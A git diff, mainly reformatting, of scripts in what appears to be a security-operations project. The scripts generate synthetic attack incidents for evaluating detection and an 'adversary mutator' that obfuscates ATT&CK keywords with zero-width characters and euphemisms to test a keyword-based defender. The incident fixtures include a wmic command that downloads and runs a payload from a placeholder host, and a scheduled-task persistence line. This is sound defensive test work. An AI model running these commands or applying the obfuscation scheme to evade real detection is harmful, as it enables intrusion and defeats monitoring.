@@ -200,7 +196,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"session token": ("ses\u200bsion token", "auth-cookie", "bearer for active session"),
"stolen session": ("hijacked sess1on", "co-opted active sess", "session-takeover"),
"tgs": ("tg\u200bs", "kerb svc ticket", "svc-ticket"),
-
# TA0007 — Discovery
"discovery": ("scout-stage", "look-around stage", "environment-mapping"),
"enumerat": ("listing-out", "walking the directory", "iterating across"),
@@ -214,7 +209,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"smb share": ("smb mount", "remote folder mount", "fileshare mount"),
"share enum": ("mount listing", "fileshare listing", "smb-volume listing"),
"system info": ("host fingerprinting", "host-detail pull", "machine-detail pull"),
-
# TA0008 — Lateral Movement
"lateral movement": ("east-west pivot", "horizontal hop", "side-to-side traversal"),
"lateral": ("e-w hop", "horizontal", "side-to-side"),
@@ -227,7 +221,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"smb scan": ("smb sweep", "fileshare probe", "windows-share probe"),
"wmic /node": ("wm\u200bic /machine", "mgmt-cli /remote", "mgmt-fabric cli /remote"),
"wmi remote": ("wm\u200bi remote", "mgmt-fabric remote", "remote mgmt-fabric"),
-
# TA0009 — Collection
"collection": ("data-gathering stage", "skim stage", "asset-pull stage"),
"data from local": ("data lifted from host", "local-host data pull", "on-host data pull"),
@@ -241,7 +234,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"pst": ("p\u200bst", "outlook archive", "mail archive"),
"private repo": ("internal source repo", "non-public repo", "closed repo"),
"private repos": ("internal source repos", "non-public repos", "closed repos"),
-
# TA0010 — Exfiltration
"exfiltrat": ("ex-bound transfer", "outbound siphon", "ex-bound siphon"),
"c2 channel": ("operator channel", "comms-back tunnel", "callback channel"),
@@ -257,7 +249,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"s3 bucket": ("object-store bucket", "blob-store bucket", "aws object store"),
"s3://": ("aws://obj/", "object-store-uri", "blob-uri"),
"data egress": ("outbound data flow", "ex-bound data flow", "data outflow"),
-
# TA0011 — Command and Control
"command and control": ("operator-channel", "callback infra", "ops-channel"),
"c2": ("c\u200b2", "ops channel", "callback infra"),
@@ -270,7 +261,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"cobalt strike": ("c0balt strike", "crimson-team toolkit", "red-team-grade dropper"),
"https beacon": ("tls callback", "https callback", "tls heartbeat"),
"ja3": ("j@3", "tls fingerprint hash", "tls-handshake fingerprint"),
-
# TA0040 — Impact
"impact": ("damage stage", "harm stage", "ko stage"),
"ransom": ("ext0rt", "lockout-for-pay", "data-lockout demand"),
@@ -295,9 +285,9 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
_LIGHT_LEET: dict[str, str] = {
"phishing": "phi$hing",
"powershell": "powershell", # untouched — light tier
- "execution": "execution", # untouched — light tier
+ "execution": "execution", # untouched — light tier
"credential": "credentia1",
- "exfiltrat": "exfiltrat", # untouched — light tier
+ "exfiltrat": "exfiltrat", # untouched — light tier
}
@@ -325,14 +315,10 @@ def _validate_grammar() -> None:
if kw == src.lower():
continue
if kw in low:
- failures.append(
- f"alternate '{alt}' for '{src}' still contains keyword '{kw}'"
- )
+ failures.append(f"alternate '{alt}' for '{src}' still contains keyword '{kw}'")
if failures:
msg = "\n - ".join(failures[:20])
- raise RuntimeError(
- f"Adversary mutator grammar leaks defender keywords:\n - {msg}"
- )
+ raise RuntimeError(f"Adversary mutator grammar leaks defender keywords:\n - {msg}")
_validate_grammar()
@@ -351,9 +337,7 @@ _KEY_ORDER: list[str] = sorted(_SYNONYMS.keys(), key=len, reverse=True)
# Pre-compile case-insensitive regexes per key. We escape the key directly
# (no word boundaries — many keys contain punctuation like "cmd.exe" or
# "s3://" where word boundaries fight us).
-_KEY_REGEX: dict[str, re.Pattern[str]] = {
- k: re.compile(re.escape(k), re.IGNORECASE) for k in _KEY_ORDER
-}
+_KEY_REGEX: dict[str, re.Pattern[str]] = {k: re.compile(re.escape(k), re.IGNORECASE) for k in _KEY_ORDER}
def _bucket(incident_id: str) -> str:
@@ -394,18 +378,12 @@ def _mutate_text_full(text: str, incident_id: str) -> str:
return out
-def _mutate_text_partial(
- text: str, incident_id: str, preserve_tactics: set[str]
-) -> str:
+def _mutate_text_partial(text: str, incident_id: str, preserve_tactics: set[str]) -> str:
"""Mutate keywords EXCEPT those tied to one preserved tactic.
The defender still has at least one route to detect the incident.
"""
- preserve_keywords = {
- kw.lower()
- for tactic in preserve_tactics
- for kw in _TACTIC_KEYWORDS.get(tactic, [])
- }
+ preserve_keywords = {kw.lower() for tactic in preserve_tactics for kw in _TACTIC_KEYWORDS.get(tactic, [])}
out = text
for key in _KEY_ORDER:
if key.lower() in preserve_keywords:
@@ -442,17 +420,12 @@ def mutate_incident(incident: dict[str, Any]) -> dict[str, Any]:
elif bucket == "medium":
if expected_tactics:
# Preserve the LAST expected tactic deterministically.
- preserve_idx = (
- int(hashlib.sha256(incident_id.encode()).hexdigest()[8:16], 16)
- % len(expected_tactics)
- )
+ preserve_idx = int(hashlib.sha256(incident_id.encode()).hexdigest()[8:16], 16) % len(expected_tactics)
preserve = {expected_tactics[preserve_idx]}
else:
preserve = set()
new_title = _mutate_text_partial(incident["title"], incident_id, preserve)
- new_description = _mutate_text_partial(
- incident["description"], incident_id, preserve
- )
+ new_description = _mutate_text_partial(incident["description"], incident_id, preserve)
else:
new_title = _mutate_text_light(incident["title"])
new_description = _mutate_text_light(incident["description"])
@@ -546,9 +519,7 @@ def adversary_coverage_report(
def main() -> None:
- parser = argparse.ArgumentParser(
- description="Generate the adversary-mutated incident dataset (Wave 2 — w2-aivai)."
- )
+ parser = argparse.ArgumentParser(description="Generate the adversary-mutated incident dataset (Wave 2 — w2-aivai).")
parser.add_argument(
"--input",
type=Path,
@@ -569,9 +540,7 @@ def main() -> None:
args = parser.parse_args()
if not args.input.exists():
- sys.exit(
- f"input not found: {args.input}. Run scripts/generate_eval_incidents.py first."
- )
+ sys.exit(f"input not found: {args.input}. Run scripts/generate_eval_incidents.py first.")
base = json.loads(args.input.read_text())
mutated = mutate_dataset(base)
@@ -593,18 +562,12 @@ def main() -> None:
f"light={report['buckets']['light']}"
)
print(
- f" Defender catch rate: {report['defender_correct']}"
- f"/{report['incidents']} = {report['defender_accuracy'] * 100:.1f}%"
- )
- print(
- f" Defender lost-everything: "
- f"{report['defender_lost_all_tactics']} incidents"
+ f" Defender catch rate: {report['defender_correct']}" f"/{report['incidents']} = {report['defender_accuracy'] * 100:.1f}%"
)
+ print(f" Defender lost-everything: " f"{report['defender_lost_all_tactics']} incidents")
print()
print(" Tactics most-lost under mutation:")
- for t, n in sorted(
- report["per_tactic_lost"].items(), key=lambda kv: kv[1], reverse=True
- )[:8]:
+ for t, n in sorted(report["per_tactic_lost"].items(), key=lambda kv: kv[1], reverse=True)[:8]:
print(f" {t}: -{n}")
print("=" * 78)
print(f"wrote {len(mutated)} mutated incidents to {args.out}")
diff --git a/scripts/generate_connector_count.py b/scripts/generate_connector_count.py
index fcf8ba07a..f69033b39 100755
--- a/scripts/generate_connector_count.py
+++ b/scripts/generate_connector_count.py
@@ -60,9 +60,7 @@ COUNT_BEARING_FILES: tuple[tuple[Path, tuple[re.Pattern[str], ...]], ...] = (
# covered below). The lean README now anchors the count in a single
# bullet near the top of "What's in the box".
REPO_ROOT / "README.md",
- (
- re.compile(r"(?P<pre>\*\*)(?P<n>\d+)(?P<post> click-and-connect data connectors\*\*)"),
- ),
+ (re.compile(r"(?P<pre>\*\*)(?P<n>\d+)(?P<post> click-and-connect data connectors\*\*)"),),
),
(
# The "corrected **N-connector count**" prose used to live in README.md
@@ -77,39 +75,27 @@ COUNT_BEARING_FILES: tuple[tuple[Path, tuple[re.Pattern[str], ...]], ...] = (
),
(
REPO_ROOT / "apps" / "docs" / "docs" / "connectors" / "index.md",
- (
- re.compile(r"(?P<pre>with \*\*)(?P<n>\d+) connectors(?P<post>\*\*)"),
- ),
+ (re.compile(r"(?P<pre>with \*\*)(?P<n>\d+) connectors(?P<post>\*\*)"),),
),
(
REPO_ROOT / "apps" / "docs" / "docs" / "connectors" / "endpoint-decision-matrix.md",
- (
- re.compile(r"(?P<pre>the full )(?P<n>\d+)(?P<post>-connector catalog)"),
- ),
+ (re.compile(r"(?P<pre>the full )(?P<n>\d+)(?P<post>-connector catalog)"),),
),
(
REPO_ROOT / "apps" / "docs" / "docs" / "connectors" / "api-coverage.md",
- (
- re.compile(r"(?P<pre>## Coverage table — )(?P<n>\d+)(?P<post> connectors)"),
- ),
+ (re.compile(r"(?P<pre>## Coverage table — )(?P<n>\d+)(?P<post> connectors)"),),
),
(
REPO_ROOT / "apps" / "docs" / "docs" / "architecture.md",
- (
- re.compile(r"(?P<pre>now )(?P<n>\d+) connectors(?P<post>\*\*)"),
- ),
+ (re.compile(r"(?P<pre>now )(?P<n>\d+) connectors(?P<post>\*\*)"),),
),
(
REPO_ROOT / "apps" / "docs" / "docs" / "intro.md",
- (
- re.compile(r"(?P<pre>a \*\*)(?P<n>\d+)(?P<post>-connector\*\* catalog)"),
- ),
+ (re.compile(r"(?P<pre>a \*\*)(?P<n>\d+)(?P<post>-connector\*\* catalog)"),),
),
(
REPO_ROOT / "ROADMAP.md",
- (
- re.compile(r"(?P<pre>declares \*\*)(?P<n>\d+)(?P<post> first-party connectors)"),
- ),
+ (re.compile(r"(?P<pre>declares \*\*)(?P<n>\d+)(?P<post> first-party connectors)"),),
),
(
REPO_ROOT / "docs" / "architecture" / "SYSTEM_DESIGN.md",
@@ -135,9 +121,7 @@ def parse_registry_count() -> int:
if isinstance(target, ast.Name) and target.id == "_CONNECTOR_CLASSES":
if isinstance(node.value, ast.Tuple):
return len(node.value.elts)
- raise RuntimeError(
- f"could not find _CONNECTOR_CLASSES tuple in {REGISTRY_FILE.relative_to(REPO_ROOT)}"
- )
+ raise RuntimeError(f"could not find _CONNECTOR_CLASSES tuple in {REGISTRY_FILE.relative_to(REPO_ROOT)}")
_CATEGORY_PATTERN = re.compile(r'^\s*connector_category\s*=\s*"([a-z][a-z0-9_-]*)"', re.MULTILINE)
@@ -175,7 +159,7 @@ def render_typescript(payload: dict[str, object]) -> str:
"// Do not edit by hand. Run the script (or `make connector-count`) instead.\n"
"//\n"
"// This module is the single source of truth for every prose claim of the\n"
- "// form \"N connectors\" or \"All N connectors\" across the marketing site,\n"
+ '// form "N connectors" or "All N connectors" across the marketing site,\n'
"// docs portal, and pricing surfaces. The count itself comes from the\n"
"// _CONNECTOR_CLASSES tuple in services/connectors/app/connectors/__init__.py.\n"
"\n"
@@ -211,22 +195,14 @@ def reconcile_prose(count: int, *, check_only: bool) -> list[str]:
for pattern in patterns:
matches = list(pattern.finditer(after))
if not matches:
- drift.append(
- f"{path.relative_to(REPO_ROOT)}: pattern {pattern.pattern!r} did not match"
- )
+ drift.append(f"{path.relative_to(REPO_ROOT)}: pattern {pattern.pattern!r} did not match")
continue
for match in matches:
if match.group("n") != str(count):
- after = (
- after[: match.start("n")]
- + str(count)
- + after[match.end("n") :]
- )
+ after = after[: match.start("n")] + str(count) + after[match.end("n") :]
if after != before:
if check_only:
- drift.append(
- f"{path.relative_to(REPO_ROOT)}: connector count drift (expected {count})"
- )
+ drift.append(f"{path.relative_to(REPO_ROOT)}: connector count drift (expected {count})")
else:
path.write_text(after, encoding="utf-8")
return drift
@@ -247,31 +223,19 @@ def main(argv: list[str]) -> int:
drift: list[str] = []
if args.check:
- json_existing = (
- json.loads(JSON_OUT.read_text(encoding="utf-8"))
- if JSON_OUT.exists()
- else None
- )
+ json_existing = json.loads(JSON_OUT.read_text(encoding="utf-8")) if JSON_OUT.exists() else None
if json_existing != payload:
- drift.append(
- f"{JSON_OUT.relative_to(REPO_ROOT)}: regenerate with"
- " `python3 scripts/generate_connector_count.py`"
- )
+ drift.append(f"{JSON_OUT.relative_to(REPO_ROOT)}: regenerate with" " `python3 scripts/generate_connector_count.py`")
ts_existing = TS_OUT.read_text(encoding="utf-8") if TS_OUT.exists() else ""
if ts_existing != render_typescript(payload):
- drift.append(
- f"{TS_OUT.relative_to(REPO_ROOT)}: regenerate with"
- " `python3 scripts/generate_connector_count.py`"
- )
+ drift.append(f"{TS_OUT.relative_to(REPO_ROOT)}: regenerate with" " `python3 scripts/generate_connector_count.py`")
else:
write_outputs(payload)
drift.extend(reconcile_prose(count, check_only=args.check))
if drift:
- print(
- f"connector-count drift detected (registry={count}):", file=sys.stderr
- )
+ print(f"connector-count drift detected (registry={count}):", file=sys.stderr)
for line in drift:
print(f" - {line}", file=sys.stderr)
return 1
diff --git a/scripts/generate_connector_docs.py b/scripts/generate_connector_docs.py
index fa6169954..d447c727e 100644
--- a/scripts/generate_connector_docs.py
+++ b/scripts/generate_connector_docs.py
@@ -120,11 +120,7 @@ def unescaped_jsx_tags(page: str) -> list[str]:
continue
if in_fence:
continue
- outside = "".join(
- part
- for part in re.split(r"(`{1,3}[^`]*`{1,3})", line)
- if not part.startswith("`")
- )
+ outside = "".join(part for part in re.split(r"(`{1,3}[^`]*`{1,3})", line) if not part.startswith("`"))
for match in re.finditer(r"<([A-Za-z][\w.-]*)>", outside):
# Real HTML that MDX accepts.
if match.group(1).lower() in {"br", "hr", "img"}:
@@ -151,12 +147,7 @@ def _mdx_safe(text: str) -> str:
"""
# Split on code spans (longest fences first) and escape only outside.
parts = re.split(r"(`{1,3}[^`]*`{1,3})", text)
- return "".join(
- part
- if part.startswith("`")
- else re.sub(r"<([A-Za-z][\w.-]*)>", r"`<\1>`", part)
- for part in parts
- )
+ return "".join(part if part.startswith("`") else re.sub(r"<([A-Za-z][\w.-]*)>", r"`<\1>`", part) for part in parts)
def _is_secret(field) -> bool:
@@ -241,7 +232,8 @@ def _field_rows(schema) -> list[str]:
notes.append("one of: " + shown)
rows.append(
f"| `{field.name}` | {_mdx_safe(str(field.label or field.name))} "
- f"| {field.type} | " f"{required} | {default} | {' · '.join(notes) or '—'} |"
+ f"| {field.type} | "
+ f"{required} | {default} | {' · '.join(notes) or '—'} |"
)
return rows
@@ -601,8 +593,7 @@ def main(argv: list[str] | None = None) -> int:
for connector_id, tags in mdx_breaks:
print(f" {connector_id}: {', '.join(tags[:4])}", file=sys.stderr)
print(
- " Wrap them in backticks. Generated pages do this "
- "automatically; a hand-written page has to.",
+ " Wrap them in backticks. Generated pages do this " "automatically; a hand-written page has to.",
file=sys.stderr,
)
if missing or drifted or undocumented_fields or mdx_breaks or not sidebar_ok:
diff --git a/scripts/generate_detections.py b/scripts/generate_detections.py
index 2c032d34a..0b9ea2ce0 100644
--- a/scripts/generate_detections.py
+++ b/scripts/generate_detections.py
@@ -659,9 +659,7 @@ def render_pack(id_lock: dict[str, str]) -> tuple[dict[Path, str], dict[str, int
# Looked up, not computed from position. See ID_LOCK.
rule_id = id_lock[f"{category}/{slug}"]
- artifacts[cat_dir / f"{slug}.yaml"] = render_rule_yaml(
- rule_id=rule_id, category=category, spec=spec
- )
+ artifacts[cat_dir / f"{slug}.yaml"] = render_rule_yaml(rule_id=rule_id, category=category, spec=spec)
artifacts[pos_dir / f"{slug}.json"] = json.dumps(spec["positive"], indent=2, sort_keys=True) + "\n"
artifacts[neg_dir / f"{slug}.json"] = json.dumps(spec["negative"], indent=2, sort_keys=True) + "\n"
diff --git a/scripts/generate_eval_incidents.py b/scripts/generate_eval_incidents.py
index 88ffd5b10..6449fb0d0 100644
--- a/scripts/generate_eval_incidents.py
+++ b/scripts/generate_eval_incidents.py
@@ -53,6 +53,7 @@ Design notes
signInLogs, etc.) — exact enough to write detections against, generic
enough that we don't pretend to be a full data generator.
"""
+
from __future__ import annotations
import argparse
@@ -68,29 +69,68 @@ from typing import Any
# ---------------------------------------------------------------------------
HOSTNAMES = [
- "WIN-FIN-DB01", "WIN-PROD-WEB02", "WIN-HR-DESKTOP", "WIN-DEVOPS-LT",
- "LIN-K8S-NODE01", "LIN-BUILD-CI03", "LIN-EDGE-VPN02", "MAC-CFO-LAPTOP",
- "MAC-LEGAL-LAPTOP", "WIN-DC-PRIMARY", "WIN-DC-SECONDARY", "WIN-EXCHANGE-01",
- "LIN-OBS-LOGGER", "LIN-DB-REPLICA", "WIN-FILE-SHARE", "K8S-PROD-CLUSTER",
- "AWS-EC2-PROD-API", "AZURE-VM-FIN-001", "GCP-GKE-NODE-04",
+ "WIN-FIN-DB01",
+ "WIN-PROD-WEB02",
+ "WIN-HR-DESKTOP",
+ "WIN-DEVOPS-LT",
+ "LIN-K8S-NODE01",
+ "LIN-BUILD-CI03",
+ "LIN-EDGE-VPN02",
+ "MAC-CFO-LAPTOP",
+ "MAC-LEGAL-LAPTOP",
+ "WIN-DC-PRIMARY",
+ "WIN-DC-SECONDARY",
+ "WIN-EXCHANGE-01",
+ "LIN-OBS-LOGGER",
+ "LIN-DB-REPLICA",
+ "WIN-FILE-SHARE",
+ "K8S-PROD-CLUSTER",
+ "AWS-EC2-PROD-API",
+ "AZURE-VM-FIN-001",
+ "GCP-GKE-NODE-04",
]
USERS = [
]
ATTACKER_IPS = [
- "192.168.1.100", "10.0.99.42", "172.16.50.7", "203.0.113.45",
- "198.51.100.23", "185.220.101.7", "45.142.122.111", "91.134.231.15",
+ "192.168.1.100",
+ "10.0.99.42",
+ "172.16.50.7",
+ "203.0.113.45",
+ "198.51.100.23",
+ "185.220.101.7",
+ "45.142.122.111",
+ "91.134.231.15",
]
CAMPAIGNS = [
- "LockBit 3.0", "ALPHV/BlackCat", "APT28", "APT29", "Emotet epoch 5",
- "Lazarus", "FIN7", "MagicWeb", "MosaicRegressor", "Volt Typhoon",
- "Scattered Spider", "Cobalt Strike",
+ "LockBit 3.0",
+ "ALPHV/BlackCat",
+ "APT28",
+ "APT29",
+ "Emotet epoch 5",
+ "Lazarus",
+ "FIN7",
+ "MagicWeb",
+ "MosaicRegressor",
+ "Volt Typhoon",
+ "Scattered Spider",
+ "Cobalt Strike",
]
# ---------------------------------------------------------------------------
@@ -518,8 +558,7 @@ TEMPLATES: list[Template] = [
template_id="certutil-download-cradle",
title="Living-off-the-land: certutil download cradle on {host}",
description=(
- "certutil.exe -urlcache invoked from cmd.exe on {host}. cmd.exe was spawned by "
- "outlook.exe. Payload downloaded from {ip}."
+ "certutil.exe -urlcache invoked from cmd.exe on {host}. cmd.exe was spawned by " "outlook.exe. Payload downloaded from {ip}."
),
tactics=("TA0002", "TA0005"),
techniques=("T1105", "T1218.009"),
@@ -549,8 +588,7 @@ TEMPLATES: list[Template] = [
template_id="docker-runtime-abuse",
title="Container runtime abuse: malicious `docker run` on {host}",
description=(
- "Unauthenticated Docker API on {host} exploited from {ip}. Container with cryptominer "
- "spawned. CPU on host saturated to 95%."
+ "Unauthenticated Docker API on {host} exploited from {ip}. Container with cryptominer " "spawned. CPU on host saturated to 95%."
),
tactics=("TA0002", "TA0001", "TA0040"),
techniques=("T1610", "T1059.004", "T1496"),
@@ -668,7 +706,7 @@ TEMPLATES: list[Template] = [
Computer="{host}",
Image="C:\\Windows\\System32\\schtasks.exe",
ParentImage="C:\\Windows\\System32\\cmd.exe",
- CommandLine="schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ CommandLine='schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR "powershell -f %APPDATA%\\Roaming\\u.ps1" /F',
User="{user}",
),
),
@@ -677,8 +715,7 @@ TEMPLATES: list[Template] = [
template_id="uefi-firmware-implant",
title="Firmware implant detected on UEFI partition of {host}",
description=(
- "UEFI secure-boot violation on {host}. Unknown module detected in firmware. Signature "
- "matches MosaicRegressor implant."
+ "UEFI secure-boot violation on {host}. Unknown module detected in firmware. Signature " "matches MosaicRegressor implant."
),
tactics=("TA0003", "TA0005"),
techniques=("T1542.001", "T1027.002"),
@@ -704,10 +741,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="cron-backdoor",
title="Backdoor cron job installed on {host}",
- description=(
- "/etc/cron.d entry created by {user} on {host}. Reverse shell beacon to {ip} every 5 "
- "minutes."
- ),
+ description=("/etc/cron.d entry created by {user} on {host}. Reverse shell beacon to {ip} every 5 " "minutes."),
tactics=("TA0003", "TA0011"),
techniques=("T1053.003", "T1071.001"),
severity="high",
@@ -737,8 +771,7 @@ TEMPLATES: list[Template] = [
template_id="uac-bypass-fodhelper",
title="UAC bypass observed on {host}",
description=(
- "fodhelper.exe abuse on {host} by {user}; auto-elevation triggered without prompt. "
- "Process tree shows escalation to SYSTEM."
+ "fodhelper.exe abuse on {host} by {user}; auto-elevation triggered without prompt. " "Process tree shows escalation to SYSTEM."
),
tactics=("TA0004", "TA0005"),
techniques=("T1548.002",),
@@ -769,8 +802,7 @@ TEMPLATES: list[Template] = [
template_id="k8s-privileged-pod-escape",
title="Container escape via privileged pod on {host}",
description=(
- "Kubernetes privileged pod created on {host} by {user}. cgroup escape to host "
- "namespace observed. Node filesystem accessed."
+ "Kubernetes privileged pod created on {host} by {user}. cgroup escape to host " "namespace observed. Node filesystem accessed."
),
tactics=("TA0004", "TA0007"),
techniques=("T1611", "T1082"),
@@ -785,9 +817,7 @@ TEMPLATES: list[Template] = [
user={"username": "{user}"},
requestObject={
"spec": {
- "containers": [
- {"name": "x", "image": "alpine", "securityContext": {"privileged": True}}
- ],
+ "containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": True}}],
"hostPID": True,
}
},
@@ -808,8 +838,7 @@ TEMPLATES: list[Template] = [
template_id="linux-suid-abuse",
title="Linux SUID binary abuse on {host}",
description=(
- "Custom SUID binary discovered in /tmp on {host}; allows arbitrary command execution "
- "as root. Likely escalation by {user}."
+ "Custom SUID binary discovered in /tmp on {host}; allows arbitrary command execution " "as root. Likely escalation by {user}."
),
tactics=("TA0004",),
techniques=("T1548.001",),
@@ -880,10 +909,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="event-log-cleared",
title="Indicator removal: Windows event log cleared on {host}",
- description=(
- "Security event log cleared on {host} by {user}. wevtutil.exe cl Security observed in "
- "command-line telemetry."
- ),
+ description=("Security event log cleared on {host} by {user}. wevtutil.exe cl Security observed in " "command-line telemetry."),
tactics=("TA0005",),
techniques=("T1070.001",),
severity="high",
@@ -910,10 +936,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="disable-edr-tooling",
title="Disable security tooling on {host}",
- description=(
- "{user} attempted to stop Defender, CrowdStrike, and Sysmon on {host}. Tampering "
- "telemetry triggered alert."
- ),
+ description=("{user} attempted to stop Defender, CrowdStrike, and Sysmon on {host}. Tampering " "telemetry triggered alert."),
tactics=("TA0005",),
techniques=("T1562.001",),
severity="critical",
@@ -945,8 +968,7 @@ TEMPLATES: list[Template] = [
template_id="lsass-memory-dump",
title="LSASS memory dump on {host} by {user}",
description=(
- "comsvcs.dll MiniDump observed on {host}. lsass.exe memory dumped to "
- "C:\\Windows\\Temp\\. Mimikatz signatures detected."
+ "comsvcs.dll MiniDump observed on {host}. lsass.exe memory dumped to " "C:\\Windows\\Temp\\. Mimikatz signatures detected."
),
tactics=("TA0006",),
techniques=("T1003.001",),
@@ -1040,10 +1062,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="ad-dcsync",
title="Active Directory DCSync from non-DC host {host}",
- description=(
- "Replication rights abused from {host} by {user}. All domain NTLM hashes replicated. "
- "Severe credential exposure."
- ),
+ description=("Replication rights abused from {host} by {user}. All domain NTLM hashes replicated. " "Severe credential exposure."),
tactics=("TA0006", "TA0004"),
techniques=("T1003.006", "T1078.002"),
severity="critical",
@@ -1065,10 +1084,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="saml-golden-ticket",
title="SAML golden-ticket: forged assertion targeting {user}",
- description=(
- "Forged SAML assertion detected for {user}. Attacker pivoted to Azure AD; account "
- "enumeration followed from {ip}."
- ),
+ description=("Forged SAML assertion detected for {user}. Attacker pivoted to Azure AD; account " "enumeration followed from {ip}."),
tactics=("TA0006", "TA0007"),
techniques=("T1606.002", "T1087.002"),
severity="critical",
@@ -1098,10 +1114,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="ldap-bloodhound-discovery",
title="Domain enumeration from {host}",
- description=(
- "ldap discovery from {host} by {user}: BloodHound-style queries enumerating users, "
- "groups, ACLs."
- ),
+ description=("ldap discovery from {host} by {user}: BloodHound-style queries enumerating users, " "groups, ACLs."),
tactics=("TA0007",),
techniques=("T1087.002",),
severity="medium",
@@ -1131,8 +1144,7 @@ TEMPLATES: list[Template] = [
template_id="smb-share-enumeration",
title="Network share enumeration on {host}",
description=(
- "Mass SMB share enumeration from {host} by {user}; net.exe and PowerShell Get-SmbShare "
- "invocations across /24 subnet."
+ "Mass SMB share enumeration from {host} by {user}; net.exe and PowerShell Get-SmbShare " "invocations across /24 subnet."
),
tactics=("TA0007",),
techniques=("T1135",),
@@ -1237,7 +1249,7 @@ TEMPLATES: list[Template] = [
Computer="{host}",
User="{user}",
Image="C:\\Windows\\System32\\wbem\\wmic.exe",
- CommandLine="wmic /node:{target_host} process call create \"cmd /c curl http://{ip}/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\"",
+ CommandLine='wmic /node:{target_host} process call create "cmd /c curl http://{ip}/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe"',
),
),
),
@@ -1248,8 +1260,7 @@ TEMPLATES: list[Template] = [
template_id="bulk-pii-download",
title="Bulk PII download by {user}",
description=(
- "{user} downloaded >10 GB of customer records from production database from {host}. "
- "Outside normal access pattern."
+ "{user} downloaded >10 GB of customer records from production database from {host}. " "Outside normal access pattern."
),
tactics=("TA0009", "TA0010"),
techniques=("T1005", "T1041"),
@@ -1353,10 +1364,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="personal-drive-exfil",
title="Personal Drive exfil by {user}",
- description=(
- "{user} on {host} uploaded 4 GB to personal Google Drive. Files include source code "
- "and customer PII."
- ),
+ description=("{user} on {host} uploaded 4 GB to personal Google Drive. Files include source code " "and customer PII."),
tactics=("TA0009", "TA0010"),
techniques=("T1567.002", "T1005"),
severity="critical",
@@ -1381,10 +1389,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="dga-c2",
title="DGA-based C2 traffic from {host}",
- description=(
- "DGA traffic from {host} observed; 200+ NXDomain replies/min, IoCs match {campaign} "
- "epoch 5. Beacons to {ip}."
- ),
+ description=("DGA traffic from {host} observed; 200+ NXDomain replies/min, IoCs match {campaign} " "epoch 5. Beacons to {ip}."),
tactics=("TA0011",),
techniques=("T1568.002",),
severity="high",
@@ -1414,8 +1419,7 @@ TEMPLATES: list[Template] = [
template_id="https-c2-beacon",
title="HTTPS C2 beacon from {host} to {ip}",
description=(
- "Periodic HTTPS beacon from {host} to {ip} every 60 seconds with low jitter. JA3 "
- "fingerprint matches Cobalt Strike."
+ "Periodic HTTPS beacon from {host} to {ip} every 60 seconds with low jitter. JA3 " "fingerprint matches Cobalt Strike."
),
tactics=("TA0011",),
techniques=("T1071.001",),
@@ -1479,10 +1483,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="xmrig-cryptominer",
title="Cryptominer execution on {host}",
- description=(
- "XMRig miner spawned on {host}; CPU saturated to 95%. Mining pool {ip}:5555. Linked "
- "to {campaign}."
- ),
+ description=("XMRig miner spawned on {host}; CPU saturated to 95%. Mining pool {ip}:5555. Linked " "to {campaign}."),
tactics=("TA0002", "TA0040"),
techniques=("T1496",),
severity="medium",
@@ -1533,10 +1534,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="public-s3-bucket-pii",
title="Public S3 bucket exposing PII",
- description=(
- "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external "
- "enumeration from {ip}."
- ),
+ description=("S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external " "enumeration from {ip}."),
tactics=("TA0009", "TA0010"),
techniques=("T1530", "T1567.002"),
severity="critical",
@@ -1548,7 +1546,10 @@ TEMPLATES: list[Template] = [
"PutBucketAcl",
event_source="s3.amazonaws.com",
userIdentity={"type": "IAMUser", "userName": "[email protected]"},
- requestParameters={"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}},
+ requestParameters={
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]},
+ },
),
_cloudtrail(
"ListObjectsV2",
@@ -1588,8 +1589,7 @@ TEMPLATES: list[Template] = [
template_id="ddos-syn-flood",
title="DDoS volumetric flood targeting public-facing {host}",
description=(
- "L4 SYN flood from a botnet (>1M PPS) targeting {host}. Edge mitigation engaged but "
- "service degraded for 12 minutes."
+ "L4 SYN flood from a botnet (>1M PPS) targeting {host}. Edge mitigation engaged but " "service degraded for 12 minutes."
),
tactics=("TA0040",),
techniques=("T1498.001",),
@@ -1612,10 +1612,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="insider-mailbox-export",
title="Insider preparing departure: large mailbox export by {user}",
- description=(
- "{user} exported full mailbox PST (8 GB) from {host}. HR flag: notice given last "
- "week."
- ),
+ description=("{user} exported full mailbox PST (8 GB) from {host}. HR flag: notice given last " "week."),
tactics=("TA0009", "TA0010"),
techniques=("T1114.002", "T1567.002"),
severity="high",
@@ -1635,10 +1632,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="office-vsto-addin",
title="Malicious Office add-in installed for {user}",
- description=(
- "Office VSTO add-in registered under HKCU for {user} on {host}; loads on every Outlook "
- "startup; beacons to {ip}."
- ),
+ description=("Office VSTO add-in registered under HKCU for {user} on {host}; loads on every Outlook " "startup; beacons to {ip}."),
tactics=("TA0003", "TA0011"),
techniques=("T1137.006", "T1071.001"),
severity="high",
